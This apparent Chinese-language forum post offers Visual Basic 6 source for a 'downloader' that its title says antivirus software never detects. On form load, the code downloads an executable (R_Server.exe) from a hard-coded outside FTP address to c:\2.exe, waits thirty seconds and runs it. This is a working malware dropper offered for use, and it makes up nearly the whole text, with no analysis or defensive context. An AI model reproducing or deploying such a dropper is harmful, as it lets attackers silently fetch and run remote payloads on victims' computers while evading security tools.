簡單免殺下載者 永遠不被殺毒發現

   自己寫的一個下載者 因爲沒有複雜的東西 所以殺毒一般不會報毒的 不過缺點也是有的 自己開發吧
 

 

 

Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
URLDownloadToFile 0, "ftp://61.147.116.238/others/R_Server.exe", "c:\2.exe", 0, 0 
Sleep 30000
ShellExecute 0, vbNullString, "c:\2.exe", vbNullString, vbNullString, vbNormalFocus
end
End Sub